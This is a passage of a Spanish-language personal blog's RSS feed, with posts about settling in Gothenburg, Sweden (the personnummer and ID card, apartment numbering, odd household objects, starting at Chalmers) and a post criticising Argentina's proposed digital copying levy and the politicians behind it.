<li>Tener servicios (como el de telefonía celular) a tu nombre.</li>
<li>Casarse.</li>
<li>Acceder a seguridad social (jubilación y subsidios) y servicios médicos.</li>
<li>Votar a los representantes de tu comuna/barrio (o municipio, no entendí bien&#8230;).</li>
</ul>
<p>La oficina de impuestos (la <a href="http://http://www.skatteverket.se">Skatteverket</a>) es la encargada del registro de personas (<em>folkbokföringsregister</em>). Y se lo toman enserio. Historial de direcciones postales en Suecia y en el exterior así como actual y pasados estados civiles, hijos y personas a cargo,  propiedades, salario, y hasta el lugar en donde te entierren (sic). Todo queda registrado y es accesible por organismos como bancos y aseguradoras. Si te mudás, tenés que avisar a la <em>Skatteverket</em> y tus servicios llegarán a tu nueva dirección. Así, out-of-the-box.</p>
<p>Aunque en internet <a href="http://www.f4.htw-berlin.de/~weberwu/writings/HOLY.htm">hay</a> <a href="http://www.thelocal.se/discuss/index.php?showtopic=37996">varias</a> <a href="http://www.thelocal.se/discuss/index.php?showtopic=36488">historias</a> acerca de complicaciones relacionadas con el personnummer, hacerse de este número a mí me resultó relativamente fácil. Vas a <a href="http://www.skatteverket.se/omskatteverket/kontaktaoss/adresserlokalkontor/ort.4.44571d110de4139990800072.html">la oficina de  Skatteverket más cercana</a> con tu pasaporte y tu <em>uppehållstillstånd</em> (permiso de residencia). Cuatros semanas después (plazo que puede variar según la época del año) recibirás en tu domicilio la <em>perssonbevis</em> (certificado de persona) con el número en cuestión. Siempre y cuando no haya <a href="http://www.lucianobello.com.ar/post/lessons-learned-el-lagenhetsnummer/">problemas con dirección postal</a>.</p>
<p>La <a href="http://prado.consilium.europa.eu/en/4556/viewImage_120716.html"><strong>identitetskort</strong></a> es al personnummer lo que la cédula es al número de documento. También llamada ID-kort es una tarjeta que contiene alguna información biométrica como la firma y la foto. A diferencia del personnummer, que es gratuito, tiene un costo de 400 coronas suecas (unos <a href="http://www.google.com/search?q=400+sek+to+ars">250 pesos argentos</a>) y es, en principio, opcional. Se ve así:<br />
<img src="http://www.lucianobello.com.ar/blog/identitetskort.jpg" alt="" /><br />
Digo <em>en principio</em>, porque en la práctica es bastante distinto. Por un lado, para muchos trámites reemplaza al pasaporte como identificación. Por otro, el letrero <em><a href="http://blog.sweetsweden.com/otros/visa-leg-tack/">Visa leg, tack!</a></em>(que significa, <em>gracias por presentar su identificación</em>, otro día hablaremos sobre lo indirecto de las peticiones en esta cultura) es moneda corriente. Al usar la tarjeta de crédito, comprobar tu personnummer o contratar servicios, la ID-kort es tu identificación y sería realmente complicado no contar con ella. Solía pensar que mi uppehållstillstånd tarjeta de residente, que se ve a continuación) podía cumplir ese objetivo, pero no resulta ser así, por lo que también tuve que tramitar esta credencial.<br />
<img src="http://www.lucianobello.com.ar/blog/uppehallstillstand.png" alt="" /><br />
<strong>El personnummer en sí mismo.</strong> El número personal como tal es una cosa bastante simpática. Se empezó a utilizar en 1947, año en el que a todos los habitantes se le asignó uno. Son 10 dígitos con el siguiente formato:<br />
<em>YYMMDD-CCEV</em>,<br />
donde, <em>YYMMDD</em> es el año, mes y día de nacimiento. El dígito <em>V</em> es un <a href="http://en.wikipedia.org/wiki/Personal_identity_number_%28Sweden%29#Example_checksum">dígito verificador</a>, introducido en 1967. La parte <em>CCE</em> es arbitraria, aunque el dígito <em>E</em> contiene la información de género (impar para varones, par para mujeres). Hasta 1990 los dígitos <em>CC</em> codificaban la provincia (<em>län</em>, en sueco) en la que la persona había nacido. Como el rango del 93 al 99 estaba designado para los inmigrantes, el sistema fue criticado porque podía causar discriminación (otro día hablaremos del valor de la equidad en la cultura nórdica) y la codificación se dejó de utilizar en 1990. Además, y esto es mi opinión, la codificación provincial debió haber limitado muchísimo los rangos disponibles, por lo que posiblemente esta fuera otra razón para evitarla. Otro problema que se evidencia rápidamente al ojo friki es esta suerte de <a href="http://es.wikipedia.org/wiki/Problema_del_a%C3%B1o_2000">Y2K bug</a> al haber dejado solo dos dígitos para el año, sobretodo con la esperanza de vida en alza. La primera persona que padeció este <em>bug</em> fue una tal <em>Beata Brolin f. Johansdotter</em> quién murió en 1948 con 106 años. Cuando un año antes de su fatídico día le asignaron su número personal, resultó que doña Beata tenía un personnummer de un menor de edad, por lo que no podía comprar puchos o alcohol (ni ganas tendría a su edad). La solución (vamos, el hack) que encontraron en ese momento fue reemplazar el <em>guión</em> por un signo <em>más</em> (+). Así, el procedimiento oficial indica que, al cumplir 100 años, uno debería cambiar su personnummer reemplazando el <em>-</em> por el <em>+</em>. Dado lo atado que una persona vive a este número, cambiarlo no debe ser un tramite sencillo. Una razón más para morir joven. O para no cambiarse de sexo, lo que también requiere cambio de personnummer.</p>
<p>Muchas entidades ahora están utilizando el personnummer en un formato de 12 dígitos, al agregar el año completo. Posiblemente esta sea una buena solución, aunque rompe un poco el algoritmo para el dígito verificador y aún no es una práctica oficial.</p>
<p>El problema de la escasez de números también es real. Hay que tener en cuenta que reusar números puede significar que te toque pagar una deuda ajena. <a href="http://sv.wikipedia.org/wiki/Personnummer_i_Sverige#.C3.85teranv.C3.A4ndning">Se sabe que hay unos 16 mil número reusados</a>, es decir, 16 mil pares de zapatos en los que espero nunca estar por lo complicado que deben de ser sus vidas burocráticas. Una de las razones por la que esto ocurre es que los nacimientos no tiene una distribución uniforme. En <a href="http://www.dn.se/debatt/personnumren-tar-snart-slut-och-maste-darfor-ersattas">Febrero de 2007 se percibió una fuerte escasez de números</a> para el 1º de Enero y Julio correspondiente a los fines de 1950 y principios de 1960. ¿La razón? En algunos países, cuando se registra a un mayor del que no se conoce la fecha de nacimiento exacta, se les asigna como nacimiento el 1º de Enero o Junio (dependiendo de la fecha estimada). En 1995 Suecia entró en la Unión Europea y grandes cantidades de inmigrantes de mediana edad vinieron a estas tierras en busca de mejores oportunidades laborales. Y estas personas también tuvieron su personnummer.</p>
<p>Un surrealista <a href="http://www.springerlink.com/content/982r7181413l027p/">paper académico</a> (altamente recomendable para lectura de fin de semana) da cuenta de que, en Diciembre de 2007, la fecha más popular de nacimiento entre los varones era el 1º de Julio de 1957 (con 405 personas), mientras que para las mujeres era el 1º de Enero de 1966 (con 341 personas).</p>
<p><small>Otras lecciones aprendidas en Suecia, <a href="http://www.lucianobello.com.ar/category/life/sweden/lessons/">aquí</a></small></p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/personnummer/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Lessons Learned: El lägenhetsnummer</title>
		<link>http://www.lucianobello.com.ar/post/lessons-learned-el-lagenhetsnummer/</link>
		<comments>http://www.lucianobello.com.ar/post/lessons-learned-el-lagenhetsnummer/#comments</comments>
		<pubDate>Sat, 24 Sep 2011 12:24:35 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[home]]></category>
		<category><![CDATA[Lessons learned...]]></category>
		<category><![CDATA[life]]></category>
		<category><![CDATA[sweden]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1727</guid>
		<description><![CDATA[Lägenhetsnummer, sustantivo. Literalmente, número de departamento. Se refiere a la forma estándar de numerar los unidades habitacionales dentro de un edificio. Como cualquier sudaca, uno suele fantasear con la idea de Suecia como un país extremadamente ordenado. Y lo es en muchos aspectos, aunque no en todos. Uno de estos últimos es la forma de [...]]]></description>
			<content:encoded><![CDATA[<blockquote><p><strong>Lägenhetsnummer</strong>, <em>sustantivo</em>. Literalmente, <em>número de departamento</em>. Se refiere a la forma estándar de numerar los unidades habitacionales dentro de un edificio.</p></blockquote>
<p>Como cualquier sudaca, uno suele fantasear con la idea de Suecia como un país extremadamente ordenado. Y lo es en muchos aspectos, aunque no en todos. Uno de estos últimos es la forma de numeración de los pisos y departamentos. Por ejemplo, yo vivo en el segundo piso de un edificio, aunque tengo que subir 3 escaleras para llegar a él. Mi número de departamento es el 911, lo que no tienen ningún criterio. En el edificio en el que trabajo, la planta baja tiene el número dos (además de que cada piso se divide entre <em>este</em> y <em>oeste</em>). Hay otros lugares donde en cada piso hay una letra. Incluso están los que numeran de los pisos en decenas.</p>
<p>Sin embargo, este caos (?) no representa un problema real. Como en la gran parte de las ciudades europeas (sino en todas), los buzones y puertas tienen los nombres de las personas que habitan detrás de éstas. Seguramente es por esto que <a href="http://en.wikipedia.org/wiki/Address_%28geography%29#Sweden">se sugiere poner el nombre de la persona a quien se envía una carta en letras mayúsculas en el sobre</a>.</p>
<p>Aún así, en 2010 la <a href="http://http://www.lantmateriet.se">Lantmateriet</a> (algo así como el departamento de catastro) normalizó la forma en la que se referencia a un departamento dentro de un edificio: el <strong>lägenhetsnummer</strong>. <a href="http://www.skatteverket.se/download/18.6eb1f7eb12c507b23b780006221/72501b_engelska.pdf">Este documento de 4 páginas</a> (después de googlear un rato largo pude encontrarlo en inglés) explica los detalles y aquí va mi resumen:</p>
<p><strong>El número</strong>. Los departamentos se identifican con 4 dígitos. Los primeros dos para el piso y la última mitad para la puerta. Si el número tiene ceros a la izquierda, se mantienen.</p>
<p><strong>El piso</strong>. El accesible desde la puerta de entrada es el 10, mientras que el superior a éste es el 11 y así. Los pisos pode debajo de la planta baja se numeran 09 para el primer subsuelo, 08 para el segundo y así.<br />
<img src="http://www.lucianobello.com.ar/blog/lagenhetsnummer1.png" alt="" /><br />
Obsérvese que dije <em>el superior a éste</em>. Si los pisos no están alineados (algo muy común por estos lares) el piso se considera el mismo.<br />
<img src="http://www.lucianobello.com.ar/blog/lagenhetsnummer2.png" alt="" /><br />
Aún con tanto detalle existen algunas ambigüedades. Como si deberían numerarse los los pisos no habitados/habitables y si el departamento tiene entradas en distintos niveles (Gotemburgo tiene muchas colinas y esto ocurre bastante a menudo).</p>
<p><strong>La puerta</strong>. Las puertas se numeran empezando por la izquierda entrando al piso. Si una puerta no es habitable, aún así se enumera, como el caso de la puerta 02 del ejemplo (<em>förråd</em> significa <em>depósito</em>).<br />
<img src="http://www.lucianobello.com.ar/blog/lagenhetsnummer3.png" alt="" /><br />
Las ambigüedades en este caso también existen. Particularmente en el piso 10, donde la entrada al piso típicamente no es por la escalera. Algunos confunden la entrada al piso con la salida del ascensor y no de la escalera.</p>
<p>Para colmo, al menos de momento, los números no normalizados aún conviven con los normalizados (una prueba más de que <a href="http://xkcd.com/927/">XKCD tiene razón</a>.). Como resultado de esto nadie sabe con precisión su número y mi impresión es que solo pocos lo entienden.</p>
<p>Para ilustrar va esta pequeña anécdota: Fui a la oficina de impuestos (por razones que quedarán para otro post) y en uno de los formularios tenía que poner el susodicho <em>lägenhetsnummer</em>. Muy campante escribí <em>911</em>. La oficinista me dijo que ese no podía ser mi número de departamento, porque no tenía 4 dígitos. Me pidió que le describiera el edificio y ella dedujo que mi número era el 1101. Sin embargo, dijo, posiblemente esté anotado en un cartel a la entrada del edificio. Me pidió que lo chequee y que vuelva si no era el 1101. Así fue como fui al cartel en cuestión y noté que el número era 0901. Fui al día siguiente para hacer la rectificación. A las semanas recibo una carta diciendo (en sueco) algo así: &laquo; En nuestros archivos figura que usted registró su vivienda con el número 1101 y después lo rectificó por 0901. Ninguno de estos números existe en su edificio. Su número anterior a la normalización es 0911, el cual tampoco corresponde a su apartamento. La oficina de impuestos necesita saber cuál es su número de departamento para poder hacerle llegar notificaciones. Por favor rectifique su número. Respuesta: &#8230;.. (espacio en blanco para completar) &raquo;.<img align="right" src="http://www.ulricehamn.se/upload/miljo_bygg/Informationsmtrl/L%C3%A4genhetsregistret/Dorr_nr.jpg" /> Es evidente que no necesitan este número para hacerme llegar notificaciones. Pero aún así lo necesito para continuar mi trámite, por lo que me di a la búsqueda de mi lägenhetsnummer. En el contrato solo figuraba el <em>número viejo</em> y nadie parecía saber qué numero me correspondía. Después de googlear, <a href="http://www.ulricehamn.se/ulh_templates/Information.aspx?id=15244">leí que es obligación que el lägenhetsnummer figure en una esquina de la puerta que identifica</a>. Y ahí me lo encontré: 1301. Aún estoy a la espera de saber si esta vez le pegué.</p>
<p>Así fue como aprendí sobre el lägenhetsnummer. Hasta donde entendí de lo leído por ahí, la idea de normalizar los números de vivienda es para hacer más eficiente la tarea de <a href="http://http://www.skatteverket.se/">la oficina de impuestos</a>. Ésta necesita saber qué personas declararon la misma casa para saber cuantas almas viven con el mismo sueldo, por ejemplo.</p>
<p>¡Si sabes más cosas relacionadas con el <em>lägenhetsnummer</em> deja tu comentario!</p>
<p><small>Otras lecciones aprendidas en mi estadía en Suecia pueden leerse <a href="http://www.lucianobello.com.ar/category/life/sweden/lessons/">aquí</a>.</small></p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/lessons-learned-el-lagenhetsnummer/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>¿para qué sirve?</title>
		<link>http://www.lucianobello.com.ar/post/para-que-sirve/</link>
		<comments>http://www.lucianobello.com.ar/post/para-que-sirve/#comments</comments>
		<pubDate>Wed, 31 Aug 2011 23:14:39 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[hardware]]></category>
		<category><![CDATA[home]]></category>
		<category><![CDATA[life]]></category>
		<category><![CDATA[procrastination]]></category>
		<category><![CDATA[sweden]]></category>
		<category><![CDATA[wtf?!]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1720</guid>
		<description><![CDATA[La casa en la que estoy está amueblada. Tiene muchas cosas muy útiles. Y otras no tanto. La siguiente es una lista de cosas que no se (o no sabía) para que sirven (click sobre la foto para agrandarla): Resuelto! Se trata de un afilador de cuchillos. Raps Olja significa aceite de canola. Simpática la [...]]]></description>
			<content:encoded><![CDATA[<p>La casa en la que estoy está amueblada. Tiene muchas cosas muy útiles. Y otras no tanto. La siguiente es una lista de cosas que no se (o no sabía) para que sirven (click sobre la foto para agrandarla):</p>
<table>
<tr>
<td><a href="https://picasaweb.google.com/lh/photo/OTAWUC8AI9A8vpxuscE27w?feat=embedwebsite"><img src="https://lh4.googleusercontent.com/-32LfOYfqdD8/Tl62M616BCI/AAAAAAAADQ4/FlsC21Mhdl0/s144/20110823_152347.JPG" height="108" width="144" /></a></td>
<td><b>Resuelto!</b> Se trata de un afilador de cuchillos.</td>
</tr>
<tr>
<td><a href="https://picasaweb.google.com/lh/photo/T5pihUQwA4K3vC08267DuQ?feat=embedwebsite"><img src="https://lh4.googleusercontent.com/-p6BJdt6c3ro/Tl62OOZtqsI/AAAAAAAADQ8/iHDWKknhhOc/s144/20110823_152953.JPG" height="144" width="108" /></a></td>
<td><a href='http://translate.google.com/#sv|en|raps%20olja'>Raps Olja</a> significa <em>aceite de canola</em>. Simpática la traducción de Google cuando se lo pone <a href='http://translate.google.com/#sv|en|rapsolja'>todo junto</a>. ¿Se puede usar como cualquier aceite? ¿Sirve para algo en particular?</td>
</tr>
<tr>
<td><a href="https://picasaweb.google.com/lh/photo/meVMz0NIFQKU5KJwkZ4kiA?feat=embedwebsite"><img src="https://lh6.googleusercontent.com/-Y_uc75KSFCk/Tl62PKZTAzI/AAAAAAAADRA/gOooQlo2LWg/s144/20110823_153048.JPG" height="108" width="144" /></a></td>
<td>Candelabro de 7 <em>velas</em>. Parece ser algún motivo navideño. Sin embargo puede <a href="https://picasaweb.google.com/lh/photo/F5hB9r6fEKep4NzHstv_-A?feat=directlink">verse en uso en Agosto</a>. </td>
</tr>
<tr>
<td><a href="https://picasaweb.google.com/lh/photo/09MW74IWRP0SCK3jsztxFg?feat=embedwebsite"><img src="https://lh3.googleusercontent.com/-XSICI3cBzfs/Tl62QtGSUJI/AAAAAAAADRE/aehtPNqTNQw/s144/20110823_152322.JPG" height="108" width="144" /></a></td>
<td>Está en las ventanas. Dando vuelta a la rueda se abre una pequeña hendija en la parte superior.</td>
</tr>
<tr>
<td><a href="https://picasaweb.google.com/lh/photo/GNm1v2MSZgV9RXAQDOYMkw?feat=embedwebsite"><img src="https://lh4.googleusercontent.com/-RbEKTYQbKUo/Tl62RrpLUmI/AAAAAAAADRI/2H9YhigUS_A/s144/20110823_152302.JPG" height="108" width="144" /></a></td>
<td><strong>cuasi-Resuelto!</strong>En la canilla de la cocina esta esta llave de cuarto de vuelta. No parece tener efecto. Me han dicho que <em>es para el lavavajillas</em> (que no tengo). No se los detalles.</td>
</tr>
<tr>
<td><a href="https://picasaweb.google.com/lh/photo/DU09zvgVYvWHCC02VnnbGQ?feat=embedwebsite"><img src="https://lh3.googleusercontent.com/-SjXZkUewep4/Tl62TM9AzQI/AAAAAAAADRM/GZORiQYresc/s144/20110823_152214.JPG" height="108" width="144" /></a></td>
<td>Estos pequeños cubos son parcialmente huecos. El agujero no llega a atravesarlos. Los encontré cerca de la ventana.</td>
</tr>
<tr>
<td><a href="https://picasaweb.google.com/lh/photo/78ASDIDx8RhxizPIWfPuAQ?feat=embedwebsite"><img src="https://lh5.googleusercontent.com/-ct2fH_VTdNk/Tl62UggQrbI/AAAAAAAADRQ/u8SK6pyADMw/s144/20110823_172425.JPG" height="108" width="144" /></a></td>
<td>Es un alambre con ventosas en las puntas y unos pequeños brochecitos. Esta en el baño. Puede ser para colgar la ropa, aunque no creo que soporte el peso. ¿Tal vez ropa interior?</td>
</tr>
</table>
<p>Aportes son bienvenidos :)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/para-que-sirve/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>nos volveremos a ver</title>
		<link>http://www.lucianobello.com.ar/post/nos-volveremos-a-ver/</link>
		<comments>http://www.lucianobello.com.ar/post/nos-volveremos-a-ver/#comments</comments>
		<pubDate>Tue, 23 Aug 2011 22:18:55 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[academy]]></category>
		<category><![CDATA[blogging]]></category>
		<category><![CDATA[home]]></category>
		<category><![CDATA[information flow]]></category>
		<category><![CDATA[journeys & traveling]]></category>
		<category><![CDATA[lectures & talks]]></category>
		<category><![CDATA[life]]></category>
		<category><![CDATA[sweden]]></category>
		<category><![CDATA[university]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1685</guid>
		<description><![CDATA[Un día como hoy, pero de la semana pasada me estaba subiendo a un avión con, por primera vez en mi vida, un ticket one-way. El destino: Gotemburgo (o Göteburg, como le dicen los locales). Pasó hace solo una semana y, sin embargo, siento que fue hace meses. Muchísimas cosas pasaron. Muchísima gente conocí. Muchísimas [...]]]></description>
			<content:encoded><![CDATA[<p><a href="https://picasaweb.google.com/lh/photo/iaFUS2OLDCwFl6aS6kzWggyBkqR30efJ5IGzK_TALJ4?feat=embedwebsite"><img align=right src="https://lh4.googleusercontent.com/-NLYGZH3cwV4/TlPIGcN_kdI/AAAAAAAADK0/7A0O30ryDug/s144/2011-08-16T00%25253A49%25253A31.JPG" height="144" width="108" /></a>Un día como hoy, pero de la semana pasada me estaba subiendo a un avión con, por primera vez en mi vida, un ticket one-way. El destino: Gotemburgo (o Göteburg, como le dicen los locales). Pasó hace solo una semana y, sin embargo, siento que fue hace meses. Muchísimas cosas pasaron. Muchísima gente conocí. Muchísimas cosas aprendí. ¡Y espero con entusiasmo las que aún quedan por pasar, conocer y aprender!</p>
<p>Como me resulta complicado ordenar mis ideas en prosa, voy a por secciones:</p>
<h1>La universidad</h1>
<p><a href="https://picasaweb.google.com/lh/photo/u1rkFBFYbHTVJvkdtI6j0gyBkqR30efJ5IGzK_TALJ4?feat=embedwebsite"><img align=left src="https://lh5.googleusercontent.com/-y6ikF1Sw_Nc/TlPM28nCa2I/AAAAAAAADLM/stqY7WRFWP0/s144/2011-08-19T08%25253A20%25253A06.JPG" height="108" width="144" /></a> El lugar donde en el que voy a trabajar y estudiar durante los próximos años es el departamento de <a href="http://www.chalmers.se/cse/EN/">Data- och informationsteknik</a> (o <em>Computación Científica e Ingeniería</em>, en criollo), en Chalmers. Físicamente queda ubicado en <a href="http://www.chalmers.se/GIF/cth_karta-eng.gif">el edificio EDIT, en la sede Johanneberg</a>. Allí ya <a href="https://picasaweb.google.com/lh/photo/bWJ85Qr3T6V3b2r29uyiIwyBkqR30efJ5IGzK_TALJ4?feat=embedwebsite">tengo una oficina asignada</a> y parece estar <a href="http://www.chalmers.se/cse/EN/cpsdirectory_entry_view?dirname=ldap_people&#038;id=uid=bello,ou=people,dc=chalmers,dc=se">todo preparado</a> para que empiece el 1º de Septiembre, según lo planeado. El 20% del tiempo tengo que dedicarlo a la enseñanza, así que durante este término seré TA (<em>Teaching Assistant</em>, algo así como un <em>Ayudante de Trabajos Prácticos</em>) en la materia <a href="http://www.cse.chalmers.se/edu/year/2010/course/TDA351/">Cryptography</a>.</p>
<h1>Primera escapada</h1>
<p>Durante la segunda semana de Septiembre estaré en Bélgica, particularmente en <a href="http://wikitravel.org/en/Leuven ">Leuven</a>. En <a href="http://www.iit.cnr.it/FAST2011/">FAST2011</a> <a href="http://www.iit.cnr.it/FAST2011/Unico.htm#programme">aceptaron</a> <a href="http://tpi.blog.unq.edu.ar/~ebonelli/fast11Long.pdf">un paper que escribí</a> con <a href="http://tpi.blog.unq.edu.ar/~ebonelli/">Eduardo</a>. Es mi primer publicación relativamente importante y preparar su presentación me está llevando una buena porción del día. Este evento es satélite de uno más importante, llamado <a href="https://www.cosic.esat.kuleuven.be/esorics2011/">ESORICS2011</a>, donde otros estudiantes de Chalmers presentan trabajos, por lo que también estaré allí. Como mis obligaciones terminan el Viernes, tengo pensado pasar el fin de semana en <a href="http://wikitravel.org/en/Bruges">Bruges</a>. Si estás por ahí entre el 10 y el 18, no dudes en avisar!</p>
<h1>Hospedaje</h1>
<p>El <a href="http://www.service.gf.gu.se/english/guestservices/">guest service de la Göteborgs Universitet</a> me asignó un pequeño pero confortable departamento en Skanstorge, un céntrico barrio de la ciudad. Lamentablemente es provisorio y tengo que dejarlo en Octubre. Dado que es una ciudad mayormente de universitarios, conseguir donde alojarse no es una tarea sencilla. Así que buena parte del tiempo está abocado a esta búsqueda.<center><br />
<a href="https://picasaweb.google.com/lh/photo/QU9huTYsqooPMpbPCal6RAyBkqR30efJ5IGzK_TALJ4?feat=embedwebsite"><img src="https://lh3.googleusercontent.com/--EgFK4MshbM/TlPOb6KoM-I/AAAAAAAADLo/pm3CA8DS9Uc/s400/2011-08-16T08%25253A19%25253A07-41.JPG" height="132" width="400" /></a></center></p>
<h1>La organización de los próximos posts</h1>
<p>No estoy seguro si los lectores de este blog utilizan las categorías. Están a la izquierda y permiten que el lector se subscriba a un tema específico de este heterogéneo blog. Por ejemplo, los temas sobre mi estancia en Suecia pueden encontrarse en la <a href="http://www.lucianobello.com.ar/category/life/sweden/">categoría <em>Sweden</em></a>. Tengo pensado abrir <a href="http://www.lucianobello.com.ar/category/life/sweden/lessons/">una nueva categoría llamada <em>Lessons Learned</em></a> donde, fiel al estilo pedante de este blog, comentaré algunas cosas que me llaman mucho la atención sobre el cómo se vive por aquí con la esperanza que le pueda ser útil a alguien.</p>
<h1>Gente con quién hablar español</h1>
<p>Es cierto que parte de la aventura es el idioma. Pero también es cierto que puede desesperar, sobre todo cuando viene mezclado con temas culturales y de difícil comprensión para el extranjero. Por suerte acá hay mucha gente con quién hablar la lengua de Cervantes. Por un lado, gracias a <a href="https://twitter.com/#!/egimenez">Emilio</a>, me uní al <a href="http://www.facebook.com/#!/groups/argentinos.en.gotemburgo/">grupo de Facebook &#8220;Argentinos en Gothenburgo&#8221;</a>. Resultó ser una gran ayuda en temas gastronómicos y otros relacionados con la cultura local. Por otro lado, en la universidad hay varios hispanohablantes que también facilitan mucho la entrada a mundo sueco, entre ellos <a href="http://www.cse.chalmers.se/~russo/">Alejandro</a> y <a href="http://www.cse.chalmers.se/~bove/">Ana</a>.</p>
<h1>Las fotos</h1>
<p>Resolví subir la fotos &#8220;diarias&#8221; a <a href="https://picasaweb.google.com/">Picasa</a>, el servicio de álbumes de Google. Se las puede encontrar <a href='https://picasaweb.google.com/117760567123276592725/Goteborg'>aquí</a>. La razón principal por la que lo hice de esta forma es bastante tonta y tiene que ver con que mi mamá puede bajarlas en buena calidad para imprimirlas (sí, ella imprime las fotos). Vieja, eso se hace desde el botón Download. Subir fotos en buena calidad (y a solo 5 dolares anuales los 20G) está bueno. Lo malo es que quien quiera comentarlas tendrá que tener una cuenta Google (las de Gmail, vamos). Sorber y soplar.<br />
Pueden subscribirse al álbum para que se les notifique cuando hay nuevas fotos vía mail (que creo que también requiere tener cuenta) o por <a href="https://picasaweb.google.com/data/feed/base/user/117760567123276592725/albumid/5644074058845010097?alt=rss&#038;kind=photo&#038;hl=en_US">RSS</a>. Las fotos de viajes y eventos específicos seguirán en <a href="http://www.lucianobello.com.ar/fotos/">http://www.lucianobello.com.ar/fotos/</a>.</p>
<h1>Nos volveremos a ver</h1>
<p>Antes de irme, Pato me hizo <a href="http://www.youtube.com/watch?v=NL0MBFhHANM">un emotivo video de despedida</a>. Muchas gracias a todos los que participaron en él. El mismo gira alrededor de la frase <a href="http://www.youtube.com/watch?v=QMTCUlPxwRw">&#8220;nos volveremos a ver&#8221;</a> en alusión a la canción <em>calamarera</em>. Pues.. así será. Mañana sacaré el pasaje para ir a Buenos Aires a pasar las fiestas y <a href="https://twitter.com/#!/gsarasate">Guadalupe</a> ya tiene los suyos para venir (y traerme las cosas que me olvidé :P) en Noviembre. Sin duda nos volveremos a ver y habrá muchas aventuras que contar!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/nos-volveremos-a-ver/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>quién es quién en #noalcanon  (o &#8220;remuneración compensatoria por copia privada&#8221; reloaded)</title>
		<link>http://www.lucianobello.com.ar/post/quien-es-quien-en-noalcanon/</link>
		<comments>http://www.lucianobello.com.ar/post/quien-es-quien-en-noalcanon/#comments</comments>
		<pubDate>Wed, 29 Jun 2011 17:09:54 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[activism]]></category>
		<category><![CDATA[depression]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1645</guid>
		<description><![CDATA[Como los jeans nevados, la remuneración compensatoria por copia privada (vamos.. el canon digital) está devuelta entre nosotros. Es que al parecer, las ideas malas tienen una tendencia a la longevidad y si la cosa te suena repetida por estos lares, es porque en Febrero de 2009 ya escribí al respecto en remuneración compensatoria por [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.lucianobello.com.ar/blog/noalcanon.png" alt="" /><br />
Como los <a href="http://www.taringa.net/posts/noticias/1497007/_No-eran-horribles_-Los-jeans-nevados-inundan-las-vidrieras.html">jeans nevados</a>, la <em>remuneración compensatoria por copia privada</em> (vamos.. el canon digital) está devuelta entre nosotros. Es que al parecer, las ideas malas tienen una tendencia a la longevidad y si la cosa te suena repetida por estos lares, es porque en Febrero de 2009 ya escribí al respecto en <a href="http://www.lucianobello.com.ar/post/remuneracion-compensatoria-por-copia-privada-de-aca/">remuneración compensatoria por copia privada…? de acá!!</a>. Y si no volví a mencionarlo fue porque consideré inconcebible dedicarle tiempo a una idea tan mala en tantos aspectos.</p>
<p>Para aquellos que no tienen idea de lo que estoy hablando, esta excelente infografía de <a href="http://www.lucianobello.com.ar/blog/canon-de-pichetto-y-giustiniani-720px.png">derechoaleer.org</a> puede ayudarlos. Si sí sabes que es el canon digital pero no estás al tanto de las últimas noticias, te informo: hoy (miércoles 29 de Junio de 2011) <a href="http://noalcanon.org/2011/06/28/el-canon-sera-tratado-en-el-senado-hoy/">será tratada la ley en el Senado</a>. <strong>UPDATE:</strong> <a href="http://twitpic.com/5in9uk">Para &#8220;escuchachar todas las voces&#8221; (e.i. esquivar el costo político de un tema que no pintaba tan complejo y que se volvió impopular), el proyecto no se tratará hoy</a>.</p>
<p>Desde este humilde espacio, creo que puedo sumar muy poco a los datos que ya pueden leerse en todos las dos en Internet (recomiendo particularmente <a href="http://noalcanon.org">noalcanon.org</a> y la crónica de <a href="http://www.vialibre.org.ar/2011/06/28/en-el-circo-de-hoy-en-el-senado-no-falto-ningun-artista-ni-abogado/">Vía Libre cuando intentaron aportar al debate en la comisión</a>).</p>
<p>Lo que sí puedo considerar un aporte es una lista de las personas involucradas en mapa del canon digital. En tiempos de elecciones me parece fundamental tener memoria y asociar a nuestros potenciales representantes, no a <a href="http://www.eleccionesriocuarto.com.ar/images/stories/foto1.jpg">fotos de afiches</a> ni <a href="http://www.coleccionemosjuntos.com.ar/albums/userpics/normal_Elecciones-2011-Macri-Sos-bienvenido.jpg">a frases de yogur</a>, sino a hechos concretos:</p>
<ul>
<li><strong>Jorge Coscia</strong>, secretario de Cultura de la Nación. Un quijote de los derechos de autor que evidentemente entiende poco de los tiempos modernos. Y sino, escucha <a href="http://rebeldes.org.ar/audios/2011/rs20110430-2.mp3">esta entrevista</a>. </li>
<li><strong>Miguel Ángel Pichetto</strong>, senador presidente del bloque Frente para la Victoria. Principal promotor de la ley.</li>
<li><strong>Rubén Giustiniani</strong>, senador socialista (?!) , presidente de la Comisión de Educación y Cultura del Senado. Copresentador de la ley, <a href="http://www.rubengiustiniani.com/rg/index.php?go=prenot&#038;p=435">fuertemente influenciado con las gestoras colectivas de derecho de autor</a>.
<li><strong>Gerardo Morales</strong>, senador al frente del bloque UCR. Manifestó que &#8220;el bloque está de acuerdo con el proyecto de ley&#8221;, y que votarían a favor cuando se trate en Cámara.
<li><strong>Adriana Bortolozzi de Bogado</strong>, senadora de Frente para la Victoria por Formosa. Presentó <a href="http://menem.senado.gov.ar/web/proyectos/verExpe.php?origen=S&#038;tipo=PL&#038;numexp=1298/08&#038;nro_comision=&#038;tConsulta=1">un proyecto similar</a> pero decidió bajarlo para &#8220;no entorpecer el del Senador Pichetto&#8221;.
